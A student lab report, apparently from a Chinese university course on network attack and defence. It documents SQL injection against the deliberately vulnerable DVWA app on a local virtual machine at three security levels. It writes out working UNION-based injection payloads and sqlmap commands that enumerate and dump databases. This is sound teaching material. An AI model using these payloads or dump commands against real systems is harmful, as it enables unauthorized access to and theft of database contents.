**实 验 报 告**



**课程名称 《网络攻击与防御技术》**

**学 院 计算机科学技术学院**

**专 业 信息安全**

**姓 名 黄 力**

**学 号 15307130275**

**开 课 时 间 2018 至 2019 学年第 1 学期**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| |  |  |  |  | | --- | --- | --- | --- | | 实验项目  名 称 | DVWA SQL 注入实验 | 成绩 |  |   **一、实验目的**  （1）掌握SQL注入的漏洞原理以及利用方法  （2）初步了解sqlmap等注入工具的使用方法  **二、实验内容**  （1）利用虚拟机上已有的DVWA软件，通过访问该虚拟机上的DVWA页面，构造特定的SQL查询语句对具有SQL注入漏洞的服务端进行攻击，最终获得数据库相关内容。  （2）分析实验成功或失败的原因  **三、实验环境**  （1）PC机操作系统：macOS Mojave 10.14  （2）虚拟机操作系统（Parallels Desktop 13.1.1）：64位CentOS  **四、实验原理**  SQL注入是指通过构造特定的SQL查询语句注入恶意的SQL命令，破坏原SQL查询语句的结构，从而达到执行恶意SQL语句的攻击行为。SQL注入的步骤一般是（参考资料2）：  1.判断是否存在注入，注入是字符型还是数字型  2.猜解SQL查询语句中的字段数  3.确定显示的字段顺序  4.获取当前数据库  5.获取数据库中的表  6.获取表中的字段名  7.下载数据  本次实验使用DVWA（Damn Vulnerable Web Application）应用软件练习SQL注入的思路和过程。在实验过程中，我将DVWA的安全级别分别设置为Low，Medium，High。最后在每种安全级别下都成功实现注入并获得了数据库中的内容。其中Low级别进行了手工注入，也使用了sqlmap进行了注入；Medium级别编写代码（详见随同提交的sql\_injection.python文件）进行了手工注入，也使用了sqlmap进行了注入，High级别进行了手工注入。  **五、实验步骤及结果**  （1）安装虚拟机，连接DVWA页面：  从云复旦http://cloud.fudan.edu.cn/shareFolder/466220002/UHWpvrr中下载CentOS.7z，解压并利用其中的虚拟硬盘在Parallels Desktop安装redhat操作系统获得实验环境，使用hacker作为登入帐号（无密）登入，登入目录为/home/hacker。使用命令ifconfig查看虚拟机的局域网IP为：10.211.55.13，如下图：  通过浏览器连接DVWA页面（http://10.211.55.13/dvwa），使用admin，password登入。  （2）按照Low，Medium，High的顺序依次进行SQL注入攻击：  Low级别：  手工注入：   1. 设置DVWA安全级别为Low 2. 判断是否存在注入：输入1' or '1' = '1，查询成功，说明存在字符型注入，如下图： 3. 获取当前数据库名：输入1' union select 2333,database() #，查询成功，说明当前数据库名为dvwa，如下图： 4. 获取数据库中的表：输入1' union select 2333,table\_name from information\_schema.tables where table\_schema='dvwa' #，查询成功，说明dvwa数据库中共有3张表：guestbook，locations，users，如下图： 5. 获取表中字段名：简便起见以下只列出locations表中的字段，输入1' union select 2333,column\_name from information\_schema.columns where table\_name='locations' #, 查询成功，说明locations表中共有3列：name，latitude，longtitude，如下图： 6. 获取表中的所有数据：简便起见以下只获取了locations表中的数据，输入1' union select group\_concat(name), group\_concat(latitude,' ', longtitude) from locations #，注意此处使用group\_concat保证union的查询包含的列数都为2。查询成功，说明locations表中共有3条数据元组：name字段分别为Yi Fu Building、Guanghua Building、Xianghui Auditorium。   使用sqlmap注入：   1. 设置DVWA安全级别为Low 2. 先检测是否存在SQL注入漏洞：使用命令sqlmap -u 'http://10.211.55.13/dvwa/vulnerabilities/sqli/?   id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=10ce72b2e3f3ea5aa29a1492b7901c4  7' –batch 采用默认选项扫描页面，其中cookie值在浏览器中的开发者工具中获取。结果如下图，该页面存在SQL漏洞。   1. 获取所有数据库：使用命令sqlmap -u 'http://10.211.55.13/dvwa/vulnerabilities/sqli/?id=1&Submit   =Submit#' --cookie='security=low; PHPSESSID=10ce72b2e3f3ea5aa29a1492b7901c47' --dbs –batch得到数据库：共6个数据库。如下图：   1. 获取dvwa数据中中的所有表：使用命令sqlmap -u 'http://10.211.55.13/dvwa/vulnerabilities/sqli/?   id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=10ce72b2e3f3ea5aa29a1492b7901c4  7' -D dvwa --tables –batch指定扫描dvwa：共guestbook、locations、users3张表，如下图：   1. 获取表中的所有数据：简便起见以下只获取了locations表中的数据，使用命令sqlmap -u 'http://10.211.55.13/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=10ce72b2e3f3ea5aa29a1492b7901c47' -D dvwa -T locations --dump –batch指定扫描locations表，共得到3条数据元组，如下图：   Medium级别：  Medium级别在页面中设置了下拉选择表单，使得不能直接构造SQL输入，但可以使用**[burpsuite](https://portswigger.net/burp/)**  等工具修改post的参数进行注入，这里我使用python的requests、bs4库自行构造post参数注入并解析结果，源码文件：sql\_injection.py。  手工注入：   1. 设置DVWA安全级别为Medium 2. 判断是否存在注入：使用命令python3 sql\_injection.py --id "1 or 1 = 1 #"注入，得到查询结果如下图，说明存在数字型注入 3. 分别获取所有数据库、dvwa数据库中的所有表、表中的所有数据：使用的命令分别为python3 sql\_injection.py --id "1 union select 2333,database() #"、python3 sql\_injection.py --id "1 union select 2333,table\_name from information\_schema.tables where table\_schema=database() #"、python3 sql\_injection.py --id "1 union select group\_concat(name), group\_concat(latitude, longtitude) from locations #"，结果分别如下3图所示：   使用sqlmap注入：  步骤与Low级别相似，此处不再赘述。  High级别：  High级别的查询页面与结果显示页面不是同一个页面。由于无法在查询页面上获取查询的结果，所以无法使用sqlmap注入。只能通过手工注入   1. 设置DVWA安全级别为High 2. 获取当前数据库名：输入1' union select 2333,database() #，查询成功，说明当前数据库名为dvwa，如下图: 3. 获取数据库中的表：输入1' union select 2333,table\_name from information\_schema.tables where table\_schema='dvwa' #，查询成功，说明dvwa数据库中共有3张表：guestbook，locations，users，如下图： 4. 获取表中的所有数据：简便起见以下只获取了locations表中的数据，输入1' union select group\_concat(name), group\_concat(latitude,' ', longtitude) from locations #，注意此处使用group\_concat保证union的查询包含的列数都为2。查询成功，说明locations表中共有3条数据元组：name字段分别为Yi Fu Building、Guanghua Building、Xianghui Auditorium。   **六、实验总结**  通过本次实验，我了解了SQL注入的基本原理，并成功完成了DVWA中Low、Medium、High三个安全级别的SQL注入实验。本次实验没有难点。  **七、参考资料**  1、<https://j4s0nh4ck.iteye.com/blog/2151008>  2、<https://www.freebuf.com/articles/web/120747.html>  3、<https://blog.csdn.net/SKI_12/article/details/56279676> |